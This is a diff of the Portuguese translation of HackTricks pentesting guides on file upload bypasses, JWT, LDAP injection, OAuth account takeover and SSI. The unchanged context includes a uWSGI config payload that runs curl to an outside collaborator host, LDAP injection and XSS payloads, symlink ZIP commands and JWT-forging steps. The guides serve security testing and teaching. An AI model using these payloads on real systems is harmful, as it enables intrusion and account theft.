6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||||
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
|
||||
|
||||
### Truques especiais de extensão
|
||||
|
||||
Se você está tentando fazer upload de arquivos para um **servidor PHP**, [dê uma olhada no truque **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê uma olhada no truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
|
||||
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php ou incluindo-o dentro de um script...)
|
||||
|
||||
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **que essa extensão fosse executada**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
|
||||
Se você puder fazer upload de um arquivo XML em um servidor Jetty, poderá obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Para uma exploração detalhada dessa vulnerabilidade, verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Para uma exploração detalhada dessa vulnerabilidade, verifique a pesquisa original: [Exploração de RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Vulnerabilidades de Execução Remota de Comando (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", marcadores de posição e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins nefastos, como Execução Remota de Comando ou Escrita/Leitura Arbitrária de Arquivo quando um arquivo de configuração `.ini` é processado.
|
||||
|
||||
@ -127,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de negação de serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarregamento automático, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
|
||||
A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de negação de serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarga automática, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
|
||||
|
||||
É crucial entender a natureza flexível da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
|
||||
|
||||
@ -181,7 +180,7 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
|
||||
- Faça upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
|
||||
- Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
|
||||
|
||||
Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Aqui está uma lista das 10 principais coisas que você pode conseguir ao fazer upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: XSS armazenado / SSRF / XXE
|
||||
@ -196,7 +195,9 @@ Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo u
|
||||
|
||||
#### Extensão Burp
|
||||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Bytes de Cabeçalho Mágicos
|
||||
|
||||
@ -211,7 +212,7 @@ Se você puder fazer upload de um ZIP que será descompactado dentro do servidor
|
||||
|
||||
#### Symlink
|
||||
|
||||
Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descompactados, você acessará os arquivos vinculados:
|
||||
Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descompactados você acessará os arquivos vinculados:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -219,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Descompactar em pastas diferentes
|
||||
|
||||
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de SO através de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
|
||||
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de SO por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
|
||||
|
||||
Um exploit automatizado para criar tais arquivos está disponível em [**evilarc no GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada conforme mostrado:
|
||||
```python
|
||||
@ -298,7 +299,7 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
|
||||
|
||||
Arquivos poliglotas servem como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
|
||||
|
||||
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivos, pode contornar furtivamente essas restrições.
|
||||
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar furtivamente essas restrições.
|
||||
|
||||
Apesar de sua adaptabilidade, os poliglotas enfrentam limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
|
||||
|
||||
@ -313,5 +314,4 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Parte deste post é baseada no post incrível:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
|
||||
**Parte deste post é baseada no incrível post:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
|
||||
**Autor da ótima ferramenta para pentest JWTs** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool)
|
||||
|
||||
### **Vitórias Rápidas**
|
||||
@ -158,7 +158,7 @@ Para forjar um novo token usando um certificado controlado por você, você prec
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado.**
|
||||
Então você pode usar por exemplo [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado.**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -222,25 +222,28 @@ No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001
|
||||
|
||||
### Reivindicações registradas do JWT
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
{{#ref}}
|
||||
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
|
||||
{{#endref}}
|
||||
|
||||
### Outros ataques
|
||||
|
||||
**Ataques de Relay entre serviços**
|
||||
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registrados casos em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever em uma conta em outro cliente desse serviço usando o mesmo nome de usuário/e-mail deve ser investigada. Em seguida, deve-se tentar reproduzir o token obtido em uma requisição para o alvo para ver se é aceito.
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registrados casos em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever em uma conta em outro cliente desse serviço usando o mesmo nome de usuário/e-mail deve ser investigada. Em seguida, deve-se tentar repetir o token obtido em uma requisição para o alvo para ver se é aceito.
|
||||
|
||||
- Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se notar que a permissão para testes mais amplos pode ser necessária se inscrevendo em uma aplicação de terceiros, pois isso pode entrar em uma área cinzenta legal.
|
||||
|
||||
**Verificação de Expiração de Tokens**
|
||||
|
||||
A expiração do token é verificada usando a reivindicação "exp" Payload. Dado que os JWTs são frequentemente empregados sem informações de sessão, um manuseio cuidadoso é necessário. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário pode permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, é aconselhável armazenar o token e reproduzi-lo após o tempo de expiração ter passado. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da jwt_tool.
|
||||
A expiração do token é verificada usando a reivindicação "exp" do Payload. Dado que os JWTs são frequentemente empregados sem informações de sessão, um manuseio cuidadoso é necessário. Em muitos casos, capturar e repetir o JWT de outro usuário pode permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, é aconselhável armazenar o token e repeti-lo após o tempo de expiração ter passado. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da jwt_tool.
|
||||
|
||||
- Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
|
||||
|
||||
### Ferramentas
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/ticarpi/jwt_tool
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
../network-services-pentesting/pentesting-ldap.md
|
||||
{{#endref}}
|
||||
|
||||
**LDAP Injection** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **não sanitiza adequadamente** a entrada, permitindo que atacantes **manipulem declarações LDAP** através de um proxy local, potencialmente levando a acesso não autorizado ou manipulação de dados.
|
||||
**LDAP Injection** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **não sanitiza corretamente** a entrada, permitindo que atacantes **manipulem declarações LDAP** através de um proxy local, potencialmente levando a acesso não autorizado ou manipulação de dados.
|
||||
|
||||
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
@ -52,7 +52,7 @@ Exemplo: `(&(directory=val1)(folder=public))`
|
||||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||
|
||||
Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o que será executado).
|
||||
Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o que é executado).
|
||||
|
||||
### Login Bypass
|
||||
|
||||
@ -203,7 +203,8 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||
```
|
||||
### Mais Payloads
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Informações Básicas <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth oferece várias versões, com insights fundamentais acessíveis na [documentação do OAuth 2.0](https://oauth.net/2/). Esta discussão centra-se principalmente no amplamente utilizado [tipo de concessão de código de autorização do OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornecendo uma **estrutura de autorização que permite que um aplicativo acesse ou execute ações na conta de um usuário em outro aplicativo** (o servidor de autorização).
|
||||
@ -11,7 +10,7 @@ Considere um site hipotético _**https://example.com**_, projetado para **exibir
|
||||
|
||||
É essencial compreender os seguintes componentes dentro da estrutura do OAuth 2.0:
|
||||
|
||||
- **proprietário do recurso**: Você, como o **usuário/entidade**, autoriza o acesso ao seu recurso, como as postagens da sua conta de rede social.
|
||||
- **proprietário do recurso**: Você, como o **usuário/entidade**, autoriza o acesso ao seu recurso, como suas postagens em redes sociais.
|
||||
- **servidor de recursos**: O **servidor que gerencia solicitações autenticadas** após o aplicativo ter obtido um `access token` em nome do `proprietário do recurso`, e.g., **https://socialmedia.com**.
|
||||
- **aplicativo cliente**: O **aplicativo que busca autorização** do `proprietário do recurso`, como **https://example.com**.
|
||||
- **servidor de autorização**: O **servidor que emite `access tokens`** para o `aplicativo cliente` após a autenticação bem-sucedida do `proprietário do recurso` e a obtenção da autorização, e.g., **https://socialmedia.com**.
|
||||
@ -45,7 +44,7 @@ https://socialmedia.com/auth
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com utiliza este `code`, juntamente com seu `client_id` e `client_secret`, para fazer uma solicitação do lado do servidor para obter um `access_token` em seu nome, permitindo o acesso às permissões que você consentiu:
|
||||
5. https://example.com utiliza este `code`, junto com seu `client_id` e `client_secret`, para fazer uma solicitação do lado do servidor para obter um `access_token` em seu nome, permitindo o acesso às permissões que você consentiu:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
@ -55,6 +54,8 @@ Host: socialmedia.com
|
||||
|
||||
## Vulnerabilidades <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
### Open redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
O `redirect_uri` é crucial para a segurança em implementações de OAuth e OpenID, pois direciona para onde dados sensíveis, como códigos de autorização, são enviados após a autorização. Se mal configurado, pode permitir que atacantes redirecionem essas solicitações para servidores maliciosos, possibilitando a tomada de conta.
|
||||
|
||||
As técnicas de exploração variam com base na lógica de validação do servidor de autorização. Elas podem variar desde correspondência estrita de caminho até aceitar qualquer URL dentro do domínio ou subdiretório especificado. Métodos comuns de exploração incluem redirecionamentos abertos, travessia de caminho, exploração de regex fracas e injeção de HTML para roubo de token.
|
||||
@ -65,7 +66,7 @@ Para aqueles que visam um servidor OpenID, o endpoint de descoberta (`**.well-kn
|
||||
|
||||
### XSS na implementação de redirecionamento <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Como mencionado neste relatório de bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), pode ser possível que o **URL de redirecionamento esteja sendo refletido na resposta** do servidor após o usuário se autenticar, sendo **vulnerável a XSS**. Payload possível para testar:
|
||||
Como mencionado neste relatório de bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), pode ser possível que a **URL de redirecionamento esteja sendo refletida na resposta** do servidor após o usuário se autenticar, sendo **vulnerável a XSS**. Payload possível para testar:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
@ -73,15 +74,15 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
|
||||
Em implementações de OAuth, o uso indevido ou a omissão do **`state` parameter** pode aumentar significativamente o risco de ataques de **Cross-Site Request Forgery (CSRF)**. Essa vulnerabilidade surge quando o parâmetro `state` é **não utilizado, utilizado como um valor estático ou não validado corretamente**, permitindo que atacantes contornem as proteções contra CSRF.
|
||||
|
||||
Os atacantes podem explorar isso interceptando o processo de autorização para vincular sua conta à conta de uma vítima, levando a possíveis **account takeovers**. Isso é especialmente crítico em aplicações onde o OAuth é utilizado para **fins de autenticação**.
|
||||
Os atacantes podem explorar isso interceptando o processo de autorização para vincular sua conta à conta de uma vítima, levando a possíveis **assumptions de conta**. Isso é especialmente crítico em aplicações onde o OAuth é usado para **fins de autenticação**.
|
||||
|
||||
Exemplos do mundo real dessa vulnerabilidade foram documentados em vários **CTF challenges** e **hacking platforms**, destacando suas implicações práticas. O problema também se estende a integrações com serviços de terceiros como **Slack**, **Stripe** e **PayPal**, onde os atacantes podem redirecionar notificações ou pagamentos para suas contas.
|
||||
Exemplos do mundo real dessa vulnerabilidade foram documentados em vários **desafios CTF** e **plataformas de hacking**, destacando suas implicações práticas. O problema também se estende a integrações com serviços de terceiros como **Slack**, **Stripe** e **PayPal**, onde os atacantes podem redirecionar notificações ou pagamentos para suas contas.
|
||||
|
||||
O manuseio e a validação adequados do **`state` parameter** são cruciais para proteger contra CSRF e garantir o fluxo do OAuth.
|
||||
|
||||
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
|
||||
### Pré Assunção de Conta <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Sem Verificação de Email na Criação da Conta**: Os atacantes podem criar proativamente uma conta usando o email da vítima. Se a vítima usar posteriormente um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiros à conta pré-criada do atacante, levando a acesso não autorizado.
|
||||
1. **Sem Verificação de Email na Criação da Conta**: Os atacantes podem criar proativamente uma conta usando o email da vítima. Se a vítima usar um serviço de terceiros para login, a aplicação pode inadvertidamente vincular essa conta de terceiros à conta pré-criada do atacante, levando a acesso não autorizado.
|
||||
2. **Explorando a Verificação de Email Laxa do OAuth**: Os atacantes podem explorar serviços de OAuth que não verificam emails registrando-se com seu serviço e, em seguida, alterando o email da conta para o da vítima. Esse método também arrisca o acesso não autorizado à conta, semelhante ao primeiro cenário, mas através de um vetor de ataque diferente.
|
||||
|
||||
### Divulgação de Segredos <a href="#e177" id="e177"></a>
|
||||
@ -92,7 +93,7 @@ Uma vulnerabilidade comum surge quando as aplicações lidam erroneamente com a
|
||||
|
||||
### Bruteforce do Client Secret
|
||||
|
||||
Você pode tentar **bruteforce o client_secret** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
|
||||
Você pode tentar **bruteforçar o client_secret** de um provedor de serviços com o provedor de identidade para tentar roubar contas.\
|
||||
A solicitação para BF pode parecer semelhante a:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
@ -121,7 +122,7 @@ Se você conseguir obter o **código de autorização e usá-lo com um cliente d
|
||||
|
||||
### Caminhos Felizes, XSS, Iframes & Mensagens Post para vazar valores de código & estado
|
||||
|
||||
[**Ver este post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
|
||||
[**Verifique este post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -142,15 +143,17 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
||||
]
|
||||
}
|
||||
```
|
||||
Para mais informações detalhadas sobre como abusar do AWS cognito, confira:
|
||||
Para mais informações detalhadas sobre como abusar do AWS cognito, consulte:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
|
||||
{{#endref}}
|
||||
|
||||
### Abusando de tokens de outros aplicativos <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Como [**mencionado neste artigo**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), fluxos OAuth que esperam receber o **token** (e não um código) podem ser vulneráveis se não verificarem se o token pertence ao aplicativo.
|
||||
|
||||
Isso ocorre porque um **atacante** poderia criar um **aplicativo que suporta OAuth e fazer login com Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faça login com Facebook no **aplicativo do atacante**, o atacante poderia obter o **token OAuth do usuário dado ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token do usuário da vítima**.
|
||||
Isso ocorre porque um **atacante** pode criar um **aplicativo que suporta OAuth e login com Facebook** (por exemplo) em seu próprio aplicativo. Então, uma vez que uma vítima faça login com Facebook no **aplicativo do atacante**, o atacante pode obter o **token OAuth do usuário concedido ao seu aplicativo e usá-lo para fazer login no aplicativo OAuth da vítima usando o token do usuário da vítima**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Portanto, se o atacante conseguir fazer com que o usuário acesse seu próprio aplicativo OAuth, ele poderá assumir a conta da vítima em aplicativos que esperam um token e não verificam se o token foi concedido ao ID do seu aplicativo.
|
||||
@ -178,14 +181,14 @@ Como [**explicado neste vídeo**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),
|
||||
|
||||
De acordo com [**este post de blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), este é um fluxo OAuth que permite fazer login no OAuth via **nome de usuário** e **senha**. Se durante esse fluxo simples um **token** com acesso a todas as ações que o usuário pode realizar for retornado, então é possível contornar a 2FA usando esse token.
|
||||
|
||||
### ATO em página da web redirecionando com base em redirecionamento aberto para referenciador <a href="#bda5" id="bda5"></a>
|
||||
### ATO em redirecionamento de página da web baseado em redirecionamento aberto para referenciador <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Este [**post de blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) comenta como foi possível abusar de um **redirecionamento aberto** para o valor do **referenciador** para abusar do OAuth para ATO. O ataque foi:
|
||||
|
||||
1. A vítima acessa a página da web do atacante
|
||||
2. A vítima abre o link malicioso e um opener inicia o fluxo OAuth do Google com `response_type=id_token,code&prompt=none` como parâmetros adicionais usando como **referenciador o site do atacante**.
|
||||
3. No opener, após o provedor autorizar a vítima, ele a envia de volta para o valor do parâmetro `redirect_uri` (web da vítima) com código 30X que ainda mantém o site do atacante no referer.
|
||||
4. O **site da vítima aciona o redirecionamento aberto com base no referenciador**, redirecionando o usuário da vítima para o site do atacante, como o **`respose_type`** era **`id_token,code`**, o código será enviado de volta ao atacante no **fragmento** da URL, permitindo que ele assuma a conta do usuário via Google no site da vítima.
|
||||
4. O **site da vítima aciona o redirecionamento aberto baseado no referenciador**, redirecionando o usuário da vítima para o site do atacante, como o **`respose_type`** era **`id_token,code`**, o código será enviado de volta ao atacante no **fragmento** da URL, permitindo que ele assuma a conta do usuário via Google no site da vítima.
|
||||
|
||||
### Parâmetros SSRFs <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -193,7 +196,7 @@ Este [**post de blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)
|
||||
|
||||
O Registro Dinâmico de Clientes no OAuth serve como um vetor menos óbvio, mas crítico para vulnerabilidades de segurança, especificamente para ataques de **Server-Side Request Forgery (SSRF)**. Este endpoint permite que servidores OAuth recebam detalhes sobre aplicativos clientes, incluindo URLs sensíveis que podem ser exploradas.
|
||||
|
||||
**Pontos-chave:**
|
||||
**Pontos Chave:**
|
||||
|
||||
- O **Registro Dinâmico de Clientes** é frequentemente mapeado para `/register` e aceita detalhes como `client_name`, `client_secret`, `redirect_uris` e URLs para logotipos ou Conjuntos de Chaves Web JSON (JWKs) via solicitações POST.
|
||||
- Este recurso adere às especificações estabelecidas em **RFC7591** e **OpenID Connect Registration 1.0**, que incluem parâmetros potencialmente vulneráveis a SSRF.
|
||||
@ -217,5 +220,4 @@ Se a plataforma que você está testando é um provedor OAuth [**leia isso para
|
||||
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Server Side Inclusion Basic Information
|
||||
## Informações Básicas sobre Server Side Inclusion
|
||||
|
||||
**(Introdução retirada da** [**documentação do Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
|
||||
@ -19,7 +19,7 @@ A decisão de quando usar SSI e quando ter sua página totalmente gerada por alg
|
||||
|
||||
Você pode inferir a presença de SSI se a aplicação web usar arquivos com a extensãos**`.shtml`, `.shtm` ou `.stm`**, mas não é apenas esse o caso.
|
||||
|
||||
Uma expressão SSI típica tem o seguinte formato:
|
||||
Uma expressão típica de SSI tem o seguinte formato:
|
||||
```
|
||||
<!--#directive param="value" -->
|
||||
```
|
||||
@ -56,8 +56,8 @@ Uma expressão SSI típica tem o seguinte formato:
|
||||
```
|
||||
## Inclusão Lateral
|
||||
|
||||
Há um problema **de cache de informações ou aplicações dinâmicas**, pois parte do conteúdo pode ter **variado** para a próxima vez que o conteúdo for recuperado. É para isso que **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
|
||||
